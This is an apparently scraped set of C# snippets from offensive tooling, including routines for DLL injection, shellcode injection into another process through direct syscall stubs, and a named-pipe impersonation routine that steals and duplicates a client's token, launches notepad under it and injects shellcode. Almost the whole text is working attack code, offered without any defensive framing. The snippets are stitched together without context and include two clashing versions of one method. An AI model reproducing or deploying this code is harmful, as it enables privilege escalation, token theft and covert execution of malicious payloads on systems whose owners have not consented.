internal bool NtCreateThreadEx() { var injectionMethod = new NtCreateThreadEx(); // Inject the dll return(injectionMethod.Inject(_process, _dllPath)); }
public IntPtr CreateThread(IntPtr hProc, IntPtr routinePtr, IntPtr paraPtr, bool suspend = false) { var args = new object[11]; args[1] = 0x1FFFFFu; args[3] = hProc; args[4] = routinePtr; args[5] = paraPtr; args[6] = suspend; NtCreateThreadEx.Invoke(null, args); return((IntPtr)args[0]); }
internal bool NtCreateThreadEx() { // Ensure the operating system supports NtCreateThreadEx var osVersion = Environment.Version; if (osVersion.Major == 5) { throw new PlatformNotSupportedException("NtCreateThreadEx is not supported on Windows XP"); } using (var injectionMethod = new NtCreateThreadEx(_process, _dllPath)) { // Inject the dll return(injectionMethod.Inject()); } }
static void Main(string[] args) { // NtOpenProcess IntPtr stub = Generic.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)uint.Parse(args[0]) }; NTSTATUS result = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = Generic.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)_shellcode.Length; result = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = Generic.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(_shellcode.Length); Marshal.Copy(_shellcode, 0, buffer, _shellcode.Length); uint bytesWritten = 0; result = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)_shellcode.Length, ref bytesWritten); // NtProtectVirtualMemory stub = Generic.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; result = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = Generic.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; result = ntCreateThreadEx( out hThread, ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); }
public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes) { // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs string pipename = PipeName; string binary = Binary; SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); // Create our named pipe pipename = string.Format("\\\\.\\pipe\\{0}", pipename); Console.WriteLine("Create Named Pipe: " + pipename); ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero); IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes); if (hPipe != IntPtr.Zero) { // Connect to our named pipe and wait for another client to connect bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); if (result) { Console.WriteLine("Connect success!"); } else { Console.WriteLine("Connect fail!"); return; } // Impersonate the token of the incoming connection result = ImpersonateNamedPipeClient(hPipe); if (result) { Console.WriteLine("Successfully impersonated client!"); } else { Console.WriteLine("Impersonation failed!"); return; } // Open a handle on the impersonated token IntPtr tokenHandle; result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); if (result) { Console.WriteLine("OpenThreadToken succeeded!"); } else { Console.WriteLine("OpenThreadToken failed!"); return; } // Duplicate the stolen token IntPtr sysToken = IntPtr.Zero; DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); if (result) { Console.WriteLine("DuplicateTokenEx succeeded!"); } else { Console.WriteLine("DuplicateTokenEx failed!"); return; } // Get the impersonated identity and revert to self to ensure we have impersonation privs String name = WindowsIdentity.GetCurrent().Name; Console.WriteLine($"Impersonated user is: {name}."); if (shellcodebytes != null) { RevertToSelf(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); binary = @"C:\windows\system32\notepad.exe"; bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!"); int ProcID = ProcByName("notepad"); var shellcode = shellcodebytes; // NtOpenProcess IntPtr stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)(ProcID) }; SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult; statusresult = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)shellcodebytes.Length; statusresult = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(shellcodebytes.Length); Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length); uint bytesWritten = 0; statusresult = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)shellcodebytes.Length, ref bytesWritten); // NtProtectVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; statusresult = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; statusresult = ntCreateThreadEx( out hThread, SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } else { // Only testing purpose to fake an interactive logon somehow PROFILEINFO profInfo = new PROFILEINFO(); bool loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo); if (loadProfileSuccess) { Console.WriteLine("LoadUserProfile success!"); } else { Console.WriteLine("LoadUserProfile failed!"); } RevertToSelf(); // Spawn a new process with the duplicated token, a desktop session, and the created profile PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' with impersonated token!"); } } }